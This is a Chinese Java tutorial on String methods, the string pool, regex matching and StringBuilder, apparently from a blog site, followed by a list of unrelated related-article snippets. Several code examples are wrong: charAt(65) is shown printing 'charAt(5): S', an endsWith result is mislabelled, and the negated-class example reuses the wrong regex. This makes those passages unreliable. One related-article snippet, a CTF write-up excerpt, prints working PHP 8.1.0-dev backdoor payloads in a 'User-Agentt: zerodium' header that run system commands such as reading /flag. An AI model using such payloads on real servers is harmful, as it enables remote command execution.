Java入门-“第九大数据类型“-字符串

字符串String

**字符串(String)**是指多个字符连接起来组合成的字符序列,例如”中国”,“hello world”都为字符串。注意对比字符,字符只能存储一个字符使用单引号’中’,’国’。

img

字符串底层源码

img

字符串定义

创建String对象

String str = new String**(“hello”);**

img

引用字符串

String str = “hello”;

字符串常量池

字符串String实在开发中大量使用的类型,String的设计者为提高String的效率,设计了字符串常量池技术用来提高性能。当定义一个字符串后,会先放入字符串常量池,当访问字符串时,先会从常量池查找,如果常量池中有此字符串则,返回其引用,否则重新创建要给字符串放入常量池中。

img

字符串api

常用api

img

常用api案例

char charAt(int index)

程序案例:

String str = "hello String";
System.out.println("charAt(6): " + str.charAt(65));

程序运行结果:

charAt(5): S

boolean startsWith(String)

程序案例:

String str = "hello String";
System.out.println("startsWith: " + str.startsWith("hello"));

程序运行结果:

startsWith: true

boolean endsWith(String)

程序案例:

String str = "hello String";

System.out.println("endsWith: " + str.endsWith("hello"));

程序运行结果:

boolean startsWith: false

int indexOf(String)

程序案例:

String str = "hello String";

System.out.println("indexOf(\"String\"): " + str.indexOf("String"));

程序运行结果:

indexOf(“String”): 6

String substring(int ,int)

程序案例:

String str = "hello String";
System.out.println("str.substring(3,5):" + str.substring(3,5));

程序运行结果:

str.substring(3,5):lo

String replace(char oldChar, char newChar)

程序案例:

String str = "hello String";

System.out.println("str.replace('l', 'x'):" + str.replace('l', 'x'));

程序运行结果:

str.replace(‘l’, ‘x’):hexxo String

boolean contains(CharSequence)

程序案例:

String str = "hello String";

System.out.println("str.contains(\"Str\"):" + str.contains("Str"));

程序运行结果:

str.contains(“Str”):true

String toLowerCase()

程序案例:

String str = "hello String";

System.out.println("str.toLowerCase():" +str.toLowerCase());

程序运行结果:

str.toLowerCase():hello string

String toUpperCase()

程序案例:

String str = "hello String";

System.out.println("str.toUpperCase():" +str.toUpperCase());

程序运行结果:

str.toUpperCase():HELLO STRING

String trim()

程序案例:

String str = "  hello String  ";
System.out.println("str.trim():" +str.trim()); 

程序运行结果:

str.trim():hello String

正则表达式

正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。

匹配字符

**[xyz]**匹配包含方括号中的某一个字符

程序案例:

String str = "f";

String regex = "[abcdefg]";

System.out.println(str.matches(regex));

程序运行结果:

true

不匹配字符

**[^xyz]**匹配不包含方括号中的任意一个字符

程序案例:

String str = "f";
String regex = "[abcdefg]";
System.out.println(str.matches(regex));

程序运行结果:

true

匹配某个字符

[a-z] 匹配a~z之间的任意一个字符。

[A-Z] 匹配A~Z之间的任意一个字符。

[0-9] 匹配0~9之间的任意一个字符。

程序案例:

String str = "f";

String regex = "[a-z]";

System.out.println(str.matches(regex));

程序运行结果:

true

不匹配某个字符

**[^a-z]**不包含a~z之间的任意一个字符。

程序案例:

String str = "f";
String regex = "[^a-z]";
System.out.println(str.matches(regex));

程序运行结果:

false

特殊符号

点(.)号:点号(.): 匹配除“\n”之外的任何单个字符。

程序案例:

String str = "apple";
String regex = ".+";
System.out.println(str.matches(regex));

程序运行结果:

true

如果要匹配点(.)符号 ,需要使用[.] 。

数字字符\d:匹配一个数字字符。等价于[0-9]。

程序案例:

String str = "1";
String regex = "\\d";
System.out.println(str.matches(regex));

程序运行结果:

true

非数字字符\D: 匹配一个非数字字符。等价于[ˆ0-9]。

程序案例:

String str = "a";
String regex = "\\D";
System.out.println(str.matches(regex));

程序运行结果:

true

单词字符\w: 匹配包括下划线的任何单词字符。等价于"[A-Za-z0-9_]"

程序案例:

String str = "a";
String regex = "\\w";
System.out.println(str.matches(regex));

程序运行结果:

true

非单词字符\W: 匹配任何非单词字符。等价于"[ˆA-Za-z0-9_]"

程序案例:

String str = "%";
String regex = "\\W";
System.out.println(str.matches(regex));

程序运行结果:

true

匹配数量

星(*)号: 匹配前面的子表达式零次或多次。

程序案例:

String str = "apple";
String regex = "[a-z]*";//匹配每一位都是字母出现了多次
System.out.println(str.matches(regex));

程序运行结果:

true

程序案例:

String str = "";
String regex = "[a-z]*";//匹配0次
System.out.println(str.matches(regex));

程序运行结果:

true

+号: 匹配前面的子表达式一次或多次

程序案例:

String str = "apple";
String regex = "[a-z]+";
System.out.println(str.matches(regex)); 

程序运行结果:

true

?号: 匹配前面的子表达式零次或一次

程序案例:

String str = "a";
String regex = "[a-z]?";
System.out.println(str.matches(regex));

程序运行结果:

true

{n}: n是一个非负整数。匹配确定的正好n次

程序案例:

String str = "apple";
String regex = "[a-z]{5}";
System.out.println(str.matches(regex));

程序运行结果:

true

{n,}: n是一个非负整数。匹配至少n次

程序案例:

String str = "apple";
String regex = "[a-z]{3,}";//至少匹配三次
System.out.println(str.matches(regex));

程序运行结果:

true

{m,n}: m,n是非负整数。匹配至少m次,至多n次

程序案例:

String str = "apple";
String regex = "[a-z]{3,7}";//匹配三次到七次
System.out.println(str.matches(regex));

程序运行结果:

true

逻辑

XY匹配:即先匹配X在匹配Y

程序案例:

String str = "a9";
String regex = "[a-z][0-9]";//第一个匹配字母,第二个匹配数字
System.out.println(str.matches(regex));

程序运行结果:

true

X|Y匹配: 匹配X或者匹配Y,(group)括号表示一组

程序案例:

String str = "org";
String regex = "(org)|(edu)";//分成两组org或者edu
System.out.println(str.matches(regex));

程序运行结果:

true

程序案例:

String str = "a";
String regex = "a|pple";//匹配a或者pple,无圆括号表示a或者,然后是pple字符串
System.out.println(str.matches(regex));

程序运行结果:

true

使用正则的字符串方法。

String[] split(String regex):根据正则表达式将字符串拆分为字符串数组。

程序案例:

 /*
  * 将字符串按照正则拆分为字符串数组
  */

String desc = "李白#$%唐^&&诗人*&静夜思";
String[] str = desc.split("[^\\u2E80-\\u9FFF]+");
System.out.println("姓名: " + str[0]);
System.out.println("朝代: " + str[1]);
System.out.println("职业: " + str[2]);
System.out.println("作品: " + str[3]);

程序运行结果:

姓名: 李白

朝代: 唐

职业: 诗人

作品: 静夜思

String replaceAll(String regex, String replacement):

根据正则表达式替换子字符串

程序案例:

/*
 * 提取字符串中的所有数字
 */

String str = "123world34#¥*sdsf2222";
String regex ="[^0-9]";//非数字
String s = str.replaceAll(regex, "");
System.out.println(s);

程序运行结果:

123342222

常见正则表达式

img

StringBuider/StringBuffer

为什么使用StringBuilder

在开发中会涉及到大量的字符串拼接操作。由于String底层是不可变的数组,每次操作都实际上重新创建了一下新的字符串,如果进行频繁字符串操作会占用更多的内存,而且拼接会创建新字符串效率也会大大降低。

项目中进行字符串拼接大都采用可变字符串即StringBuilder/StringBuffer对象提高新性能。

StringBuilder对象

底层实现
public final class  StringBuilder
  extends AbstractStringBuilder
  implements java.io.Serializable, CharSequence

  /**
   * The value is used for character storage.
   */

  char[] value;

  /**
   * The count is the number of characters used.
   */
int count;
StringBuilder 常用API
方法名称方法描述案例
append()在字符串末尾添加stringBuilder.append(“end”);
deleteCharAt(int)删除指定位置字符stringBuilder.deleteCharAt(1);
delete(int,int)删除指定范围的字符stringBuilder.delete(3,7);
indexOf(String)字符串的位置stringBuilder.indexOf(“app”);
reverse()将StringBuilder中内容反转stringBuilder.reverse();
toString()将StringBuilder内容返回为字符串stringBuilder.toString( );
StringBuilder、StringBuffer和String比较

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/656797.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2024年5月软考成绩什么时候出?附查询方式

2024年5月软考成绩查询时间及查询方式: 查询时间:预计在2024年7月上旬进行。 查询方式: 方式一:登陆中国计算机技术职业资格网(www.ruankao.org.cn),点击报名系统,输入注册账号和…

nodejs中使用ffmpeg零基础教程(electron+vue3)

同学们可以私信我加入学习群! 正文开始 前言一、多方案对比二、ffmpeg各插件简介三、使用ffmpeg-static插件四、使用fluent-ffmpeg插件五、如果使用ai,可能会踩的坑5.1第一个坑5.2第二个坑5.3第三个坑 总结 前言 最近想要把自己写的一些知识点&#xff…

【NumPy】全面解析NumPy的astype函数:高效数据类型转换指南

🧑 博主简介:阿里巴巴嵌入式技术专家,深耕嵌入式人工智能领域,具备多年的嵌入式硬件产品研发管理经验。 📒 博客介绍:分享嵌入式开发领域的相关知识、经验、思考和感悟,欢迎关注。提供嵌入式方向…

VUE-watch和watchEffect的区别

区别简短扼要地说: watch-官方定义:侦听一个或多个响应式数据源,并在数据源变化时调用所给的回调函数。是需要指定监听的数据,并且只有在响应式数据变化的时候去执行 watchEffect-官方定义:立即运行一个函数&#xff0…

mybatis关联查询使用resultMap查询到了多条,结果返回一条。

今天在写代码时候,遇到了一个很让我费解的问题,在使用关联查询的时候,在明明数据库里面,已经查到了两条数据,结果resultMap这个集合里面,就只返回一条数据。 数据库的SQL: mybatis的xml里面的r…

公告:关于博主的重要通知

大家好,我是博主夏目。 本期不分享知识,博主想说明一下博主的一些重要提示。 分享的内容,从不收费,也未向任何人进行收费。 意在分享知识,传播文化,结交更多志同道合的朋友。 截至目前,从未…

多系统集成的项目周期为何普遍较长?

在现代企业的运营中,各种信息系统的集成已成为提升效率和竞争力的关键。然而,当工厂的ERP系统需要与MES、SRM、WMS、CRM等其他系统集成时,项目周期往往长达一年以上,这不仅耗费时间、人力和财力,还可能影响企业的正常运…

【GD32F303红枫派使用手册】第一节 RCU-时钟配置及输出实验

1.1 实验内容 通过本实验主要学习以下内容: RCU时钟原理及配置; RCU时钟输出验证。 1.2 实验原理 1.2.1 RCU时钟树原理 GD32F303系列MCU的时钟树如下图所示,由该图可知,GD32F303系列MCU的时钟树可大致分为三个部分&#xff…

外卖系统源码解读:校园外卖APP开发全攻略

外卖系统源码解读:校园外卖APP开发全攻略 今天,小编将深入解读外卖系统的源码,详细介绍如何开发一款功能齐全的校园外卖APP,帮助开发者快速上手,打造出高质量的外卖应用。 一、需求分析 应具备以下基本功能&#xff…

C++之对象的使用

1、static成员 2、static成员优点 2、static成员函数 静态成员函数不能访问非静态成员原因:因为没有this指针。也不可以访问非静态成员函数。 可以通过对象来访问静态成员,但是不推荐这么使用,会让人误解成这个x_是属于对象的,但…

使用prometheus监测MySQL主从同步状态方案

说明:本文介绍如何使用prometheus、alertmanager监测MySQL主从,当从节点中断同步时,发送邮箱报警,并使用grafana将数据视图化。 结构图如下: 安装 (1)安装应用 首先,来安装promet…

svg画简单的立方体

开发背景 要开发一个拖拽的大屏项目,其中涉及到一个装饰组件,是一个立方体cube,要求颜色可以修改,大小可以拖拽改变。 效果如下 分析 经过我一番奇思妙想,决定用svg实现,因为对svg比较熟悉。那就先来在草…

LabVIEW中实现Trio控制器的以太网通讯

在LabVIEW中实现与Trio控制器的以太网通讯,可以通过使用TCP/IP协议来完成。这种方法包括配置Trio控制器的网络设置、使用LabVIEW中的TCP/IP函数库进行数据传输和接收,以及处理通讯中的错误和数据解析。本文将详细说明实现步骤,包括配置、编程…

职责链设计模式

职责链设计模式(Chain of Responsibility Design Pattern)是一种行为设计模式,使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合。这些对象被链接成一条链,沿着这条链传递请求,直到有一…

【Vue】自动导入组件

1. 下载插件 npm install unplugin-vue-components 2. 修改vite.config.js import { fileURLToPath, URL } from node:urlimport { defineConfig } from vite import vue from vitejs/plugin-vue import Components from unplugin-vue-components/vite // 按需加载自定义组件/…

2、PHP 8.1.0-dev 后门远程命令执行漏洞复现

1、青少年ctf,题目PHP后门 2、页面 3、bp抓包发现PHP版本为8.1.0-dev 4、尝试使用以前爆出过的漏洞(网上查相关案例) User-Agentt: zerodiumvar_dump(5*5); User-Agentt: zerodiumsystem("cat /flag"); 5、查找flag User-Agentt: z…

3.游戏中自定义数据类型的解读分析

知识来源于腾讯课堂易道云 结构的解释: 计算机里的所有东西都是用二进制表示的,二进制是数字,我们用的阿拉伯数字0-9这个数字是十进制,计算机用的是二进制只有0或1,然后都是一堆0或1的数字,游戏中怎么把这…

路径规划算法--BFS

系列文章目录 文章目录 系列文章目录一、BFS二、BFS伪代码BFS与Dijkstra区别 一、BFS BFS(Breadth First Search)为广度优先搜索,是一种用于遍历或搜索树或图的搜索算法,适用于无权图的遍历。BFS从根节点开始,探索其相…

AI大模型:大数据+大算力+强算法

前言:好久不见,甚是想念,我是辣条,我又回来啦,兄弟们,一别两年,还有多少老哥们在呢? 目录 一年半没更文我干啥去了? AI大模型火了 人工智能 大模型的理解 为什么学习…

【Python】 Python中__slots__的妙用:提升性能与内存管理

基本原理 在Python中,每个类默认都会继承自object类,而object类在Python中是一个动态类,允许动态地添加属性和方法。这种灵活性使得Python在某些情况下非常强大和灵活,但同时也带来了一些性能和内存使用上的开销。 为了解决这个…